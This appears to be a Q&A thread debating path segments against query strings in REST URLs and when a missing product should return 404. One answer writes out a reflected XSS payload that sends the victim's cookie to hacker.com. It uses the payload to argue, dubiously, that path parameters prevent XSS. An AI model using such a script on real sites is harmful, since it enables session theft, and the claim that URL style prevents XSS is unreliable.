Querystring in REST Resource url

Question

I had a discussion with a colleague today around using query strings in REST URLs. Take these 2 examples:

1. http://localhost/findbyproductcode/4xxheua
2. http://localhost/findbyproductcode?productcode=4xxheua

My stance was the URLs should be designed as in example 1. This is cleaner and what I think is correct within REST. In my eyes you would be completely correct to return a 404 error from example 1 if the product code did not exist whereas with example 2 returning a 404 would be wrong as the page should exist. His stance was it didn't really matter and that they both do the same thing.

As neither of us were able to find concrete evidence (admittedly my search was not extensive) I would like to know other people's opinions on this.

Answer 1

In typical REST API's, example #1 is more correct. Resources are represented as URI and #1 does that more. Returning a 404 when the product code is not found is absolutely the correct behavior. Having said that, I would modify #1 slightly to be a little more expressive like this:

http://localhost/products/code/4xheaua

Look at other well-designed REST APIs - for example, look at StackOverflow. You have:

stackoverflow.com/questions
stackoverflow.com/questions/tagged/rest
stackoverflow.com/questions/3821663

These are all different ways of getting at "questions".

Answer 2

This question is deticated to, what is the cleaner approach. But I want to focus on a different aspect, called security. As I started working intensively on application security I found out that a reflected XSS attack can be successfully prevented by using PathParams (appraoch 1) instead of QueryParams (approach 2).

(Of course, the prerequisite of a reflected XSS attack is that the malicious user input gets reflected back within the html source to the client. Unfortunately some application will do that, and this is why PathParams may prevent XSS attacks)

The reason why this works is that the XSS payload in combination with PathParams will result in an unknown, undefined URL path due to the slashes within the payload itself.

http://victim.com/findbyproductcode/<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>**

Whereas this attack will be successful by using a QueryParam!

http://localhost/findbyproductcode?productcode=<script>location.href='http://hacker.com?sessionToken='+document.cookie;</script>

Answer 3

IMO the path component should always state what you want to retrieve. An URL like http://localhost/findbyproductcode does only say I want to retrieve something by product code, but what exactly?

So you retrieve contacts with http://localhost/contacts and users with http://localhost/users. The query string is only used for retrieving a subset of such a list based on resource attributes. The only exception to this is when this subset is reduced to one record based on the primary key, then you use something like http://localhost/contact/[primary_key].

That's my approach, your mileage may vary :)

Answer 4

There is no difference between the two URIs from the perspective of the client. URIs are opaque to the client. Use whichever maps more cleanly into your server side infrastructure.

As far as REST is concerned there is absolutely no difference. I believe the reason why so many people do believe that it is only the path component that identifies the resource is because of the following line in RFC 2396

The query component is a string of information to be interpreted by the resource.

This line was later changed in RFC 3986 to be:

The query component contains non-hierarchical data that, along with data in the path component (Section 3.3), serves to identify a resource

IMHO this means both query string and path segment are functionally equivalent when it comes to identifying a resource.

---

Update to address Steve's comment.

Forgive me if I object to the adjective "cleaner". It is just way too subjective. You do have a point though that I missed a significant part of the question.

I think the answer to whether to return 404 depends on what the resource is that is being retrieved. Is it a representation of a search result, or is it a representation of a product? To know this you really need to look at the link relation that led us to the URL.

If the URL is supposed to return a Product representation then a 404 should be returned if the code does not exist. If the URL returns a search result then it shouldn't return a 404.

The end result is that what the URL looks like is not the determining factor. Having said that, it is convention that query strings are used to return search results so it is more intuitive to use that style of URL when you don't want to return 404s.

Answer 5

The way I think of it, URI path defines the resource, while optional querystrings supply user-defined information. So

https://domain.com/products/42

identifies a particular product while

https://domain.com/products?price=under+5

might search for products under $5.

I disagree with those who said using querystrings to identify a resource is consistent with REST. Big part of REST is creating an API that imitates a static hierarchical file system (without literally needing such a system on the backend)--this makes for intuitive, semantic resource identifiers. Querystrings break this hierarchy. For example watches are an accessory that have accessories. In the REST style it's pretty clear what

 https://domain.com/accessories/watches

and

https://domain.com/watches/accessories

each refer to. With querystrings,

 https://domain.com?product=watches&category=accessories

is not not very clear.

At the very least, the REST style is better than querystrings because it requires roughly half as much information since strong-ordering of parameters allows us to ditch the parameter names.

Answer 6

There are two use cases for GET

1. Get a uniquely identified resource
2. Search for resource(s) based on given criteria

Use Case 1 Example:

/products/4xxheua
Get a uniquely identified product, returns 404 if not found.

Use Case 2 Example:

/products?size=large&color=red
Search for a product, returns list of matching products (0 to many).

If we look at say the Google Maps API we can see they use a query string for search.

e.g. http://maps.googleapis.com/maps/api/geocode/json?address=los+angeles,+ca&sensor=false

So both styles are valid for their own use cases.